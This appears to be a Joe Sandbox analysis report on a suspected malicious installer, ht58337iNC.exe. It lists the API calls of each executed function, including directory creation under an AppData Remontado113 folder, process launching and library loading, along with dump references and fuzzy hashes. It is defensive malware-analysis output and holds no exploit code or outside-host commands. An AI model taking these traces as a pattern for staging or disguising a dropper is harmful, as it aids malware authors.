Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNEL32(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket
API String ID: 1892508949-2329395075
Opcode ID: 6a806dc8a67cce4ec59899f41de68ecc013b6cc557fe258ff71bb93ee7eaebb1
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 6a806dc8a67cce4ec59899f41de68ecc013b6cc557fe258ff71bb93ee7eaebb1
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 00405287 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405297

Part of subcall function 00404165: SendMessageW.USER32(00010442,00000000,00000000,00000000), ref: 00404177

CoUninitialize.COMBASE(00000404,00000000), ref: 004052E3

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 284ed0bdb174dded287a17afd61ba591e3d7c1dcaafaf06757c609fafc5d4012
Instruction ID: 8fb8f8de99d5f56c4d821e97e238feb66d9b0dc6248f5ee9fd766251fcc57a44
Opcode Fuzzy Hash: 284ed0bdb174dded287a17afd61ba591e3d7c1dcaafaf06757c609fafc5d4012
Instruction Fuzzy Hash: FFF0FA769006009BE30057A4AD01BA372A8EFD4321F19407EFE84B62E1CB79A8808E2D

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405C05 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,0040580A,?,?,00000000,004059E0,?,?,?,?), ref: 00405C0A
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405C1E

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: 468109bf43167ec42dafbdb034993651ba0ea03f7208bcc181294849b19367e8
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 22D0C972504520ABC6102728EE0889BBB95EB542717024B35FAA9A22B0CB304C568A98

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 00404165 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00010442,00000000,00000000,00000000), ref: 00404177

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3bba03b2e652c4a11e25962405d633cc82753624cff89e0bc5c9eed7d7d36a99
Instruction ID: 76ab245bb7d1846facc95ba49394d78ca693920881c876aece34d531b1437416
Opcode Fuzzy Hash: 3bba03b2e652c4a11e25962405d633cc82753624cff89e0bc5c9eed7d7d36a99
Instruction Fuzzy Hash: 9EC09B717407007FDA118F60AD49F1777646B54741F1484397340F50E0C774E450D61C

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 0040413B Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403F13), ref: 00404145

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 907d679711b6e1fb013299f82933437f2b692bd2f0f22f99d2ac99a58bd0a5b7
Instruction ID: 5fcfa7c36487df69233f4cfa323b79a9e92b7b04130a7d859801dd3b00291f76
Opcode Fuzzy Hash: 907d679711b6e1fb013299f82933437f2b692bd2f0f22f99d2ac99a58bd0a5b7
Instruction Fuzzy Hash: 2EA00275548601DBCE115B50DF45D057B61A7A47017514579A1855103486314461EB59

Non-executed Functions

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
